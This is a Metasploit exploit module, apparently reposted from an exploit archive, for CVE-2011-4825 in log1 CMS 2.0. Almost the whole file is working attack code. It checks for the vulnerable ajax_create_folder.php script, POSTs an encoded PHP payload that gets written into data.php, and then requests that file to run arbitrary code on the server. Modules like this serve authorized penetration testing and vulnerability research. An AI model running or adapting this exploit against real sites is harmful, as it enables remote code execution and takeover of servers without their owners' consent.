Log1 CMS writeInfo() PHP Code Injection

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
 
    include Msf::Exploit::Remote::HttpClient
 
    def initialize(info={})
        super(update_info(info,
            'Name'           => "Log1 CMS writeInfo() PHP Code Injection",
            'Description'    => %q{
                    This module exploits the "Ajax File and Image Manager" component that can be
                found in log1 CMS.  In function.base.php of this component, the 'data' parameter
                in writeInfo() allows any malicious user to have direct control of writing data
                to file data.php, which results in arbitrary remote code execution.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'EgiX',     #Found the bug in ajax_create_folder.php
                    'Adel SBM', #Found log1 CMS using the vulnerable ajax_create_folder.php
                    'sinn3r'    #Metasploit
                ],
            'References'     =>
                [
                    ['CVE', '2011-4825'],
                    ['OSVDB', '76928'],
                    ['EDB', '18075'],  #Egix's advisory
                    ['EDB', '18151']   #Adel's
                ],
            'Payload'        =>
                {
                    'BadChars' => "\x00"
                },
            'DefaultOptions'  =>
                {
                    'ExitFunction' => "none"
                },
            'Platform'       => 'php',
            'Arch'           => ARCH_PHP,
            'Targets'        =>
                [
                    ['log1 CMS 2.0', {}],
                ],
            'Privileged'     => false,
            'DisclosureDate' => "Apr 11 2011",
            'DefaultTarget'  => 0))
 
        register_options(
            [
                OptString.new('TARGETURI', [true, 'The base path to log1 CMS', '/log1cms2.0/'])
            ], self.class)
    end
 
 
    def check
        uri = target_uri.path
        uri << '/' if uri[-1, 1] != '/'
 
        res = send_request_raw({
            'method' => 'GET',
            'uri'    => "#{uri}admin/libraries/ajaxfilemanager/ajax_create_folder.php"
        })
 
        if res and res.code == 200
            return Exploit::CheckCode::Detected
        else
            return Exploit::CheckCode::Safe
        end
    end
 
 
    def exploit
        uri = target_uri.path
        uri << '/' if uri[-1, 1] != '/'
 
        peer = "#{rhost}:#{rport}"
        php = %Q|#{rand_text_alpha(10)}=<?php #{payload.encoded} ?>|
 
        print_status("#{peer} - Sending PHP payload (#{php.length.to_s} bytes)")
        send_request_cgi({
            'method' => 'POST',
            'uri'    => "#{uri}admin/libraries/ajaxfilemanager/ajax_create_folder.php",
            'data'   => php
        })
 
        print_status("#{peer} - Requesting data.php")
        send_request_raw({
            'method' => 'GET',
            'uri'    => "#{uri}admin/libraries/ajaxfilemanager/inc/data.php"
        })
 
        handler
    end
end



#  0day.today [2018-02-09]  #